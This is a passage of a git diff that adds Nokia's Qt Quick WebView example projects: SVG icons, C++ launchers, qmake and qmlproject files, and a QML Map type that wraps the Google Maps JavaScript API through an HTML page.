2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/webview/googlemaps/main.cpp b/examples/declarative/modelviews/webview/googlemaps/main.cpp
new file mode 100644
index 00000000..cc3a3ae0
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/googlemaps/googlemaps.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/Mapping/Map.qml b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/Mapping/Map.qml
new file mode 100644
index 00000000..cc0bdd03
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/Mapping/Map.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Item {
+ id: page
+
+ property real latitude: -34.397
+ property real longitude: 150.644
+ property string address: ""
+ property alias status: js.status
+
+ WebView {
+ id: map
+ anchors.fill: parent
+ url: "map.html"
+ pressGrabTime: 0
+ javaScriptWindowObjects: QtObject {
+ id: js
+ WebView.windowObjectName: "qml"
+ property real lat: page.latitude
+ property real lng: page.longitude
+ property string address: page.address
+ property string status: "Loading"
+
+ onAddressChanged: {
+ if (map.url != "" && map.progress == 1)
+ map.evaluateJavaScript("goToAddress()")
+ }
+ }
+
+ onLoadFinished: { evaluateJavaScript("goToAddress()"); }
+ }
+}
diff --git a/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/Mapping/map.html b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/Mapping/map.html
new file mode 100644
index 00000000..a98da543
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/Mapping/map.html
@@ -0,0 +1,60 @@
+<html>
+<head>
+<meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
+<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
+<script type="text/javascript">
+ var geocoder
+ var map
+ function goToLatLng(latlng,bounds) {
+ if (map) {
+ map.setCenter(latlng)
+ map.fitBounds(bounds)
+ } else {
+ var myOptions = {
+ zoom: 8,
+ center: latlng,
+ mapTypeId: google.maps.MapTypeId.ROADMAP
+ };
+ map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);
+ }
+ }
+ function initialize() {
+ geocoder = new google.maps.Geocoder();
+ if (window.qml.address) {
+ goToAddress()
+ } else {
+ goToLatLng(new google.maps.LatLng(window.qml.lat,window.qml.lng));
+ }
+ if (navigator.geolocation) {
+ navigator.geolocation.getCurrentPosition(function(position) {
+ initialLocation = new google.maps.LatLng(position.coords.latitude,position.coords.longitude);
+ window.qml.lat = initialLocation.lat;
+ window.qml.lng = initialLocation.lng;
+ goToLatLng(initialLocation);
+ });
+ }
+ }
+ function goToAddress() {
+ if (geocoder) {
+ var req = {
+ address: window.qml.address,
+ }
+ if (map)
+ req.bounds = map.getBounds()
+ window.qml.status = "Loading";
+ geocoder.geocode(req, function(results, status) {
+ if (status == google.maps.GeocoderStatus.OK) {
+ window.qml.status = "Ready";
+ goToLatLng(results[0].geometry.location,results[0].geometry.bounds);
+ } else {
+ window.qml.status = "Error";
+ }
+ });
+ }
+ }
+</script>
+</head>
+<body onload="initialize()" leftmargin="0px" topmargin="0px" marginwidth="0px" marginheight="0px">
+ <div id="map_canvas" style="width:100%; height:100%"></div>
+</body>
+</html>
diff --git a/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/pics/cancel.png b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/pics/cancel.png
new file mode 100644
index 00000000..ecc95331
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/pics/cancel.png
Binary files differ
diff --git a/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/pics/ok.png b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/pics/ok.png
new file mode 100644
index 00000000..5795f04f
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/pics/ok.png
Binary files differ
diff --git a/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/googlemaps.qml b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/googlemaps.qml
new file mode 100644
index 00000000..df5cb701
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/googlemaps.qml
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example demonstrates how Web services such as Google Maps can be
+// abstracted as QML types. Here we have a "Mapping" module with a "Map"
+// type. The Map type has an address property. Setting that property moves
+// the map. The underlying implementation uses WebView and the Google Maps
+// API, but users from QML don't need to understand the implementation in
+// order to create a Map.
+
+import QtQuick 1.0
+import QtWebKit 1.0
+import "content/Mapping"
+
+Map {
+ id: map
+ width: 300
+ height: 300
+ address: "Paris"
+
+ Rectangle {
+ x: 70
+ width: input.width + 20
+ height: input.height + 4
+ anchors.bottom: parent.bottom; anchors.bottomMargin: 5
+ radius: 5
+ opacity: map.status == "Ready" ? 1 : 0
+
+ TextInput {
+ id: input
+ text: map.address
+ anchors.centerIn: parent
+ Keys.onReturnPressed: map.address = input.text
+ }
+ }
+
+ Text {
+ id: loading
+ anchors.centerIn: parent
+ text: map.status == "Error" ? "Error" : "Loading"
+ opacity: map.status == "Ready" ? 0 : 1
+ font.pixelSize: 30
+
+ Behavior on opacity { NumberAnimation{} }
+ }
+}
diff --git a/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.png b/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.png
Binary files differ
diff --git a/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.pro b/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.pro
new file mode 100644
index 00000000..03cf189f
--- /dev/null
+++ b/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/inlinehtml
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEF18EEF4
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/webview/inlinehtml
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.qmlproject b/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.qmlproject
new file mode 100644
index 00000000..046124ba
--- /dev/null
+++ b/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/inlinehtml"
+ }
+ JavaScriptFiles {
+ directory: "qml/inlinehtml"
+ }
+ ImageFiles {
+ directory: "qml/inlinehtml"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.svg b/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/webview/inlinehtml/inlinehtml.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/webview/inlinehtml/main.cpp b/examples/declarative/modelviews/webview/inlinehtml/main.cpp
new file mode 100644
index 00000000..35a06f32
--- /dev/null
+++ b/examples/declarative/modelviews/webview/inlinehtml/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/inlinehtml/inlinehtml.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/webview/inlinehtml/qml/inlinehtml/inlinehtml.qml b/examples/declarative/modelviews/webview/inlinehtml/qml/inlinehtml/inlinehtml.qml
new file mode 100644
index 00000000..4fbc7fd8
--- /dev/null
+++ b/examples/declarative/modelviews/webview/inlinehtml/qml/inlinehtml/inlinehtml.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
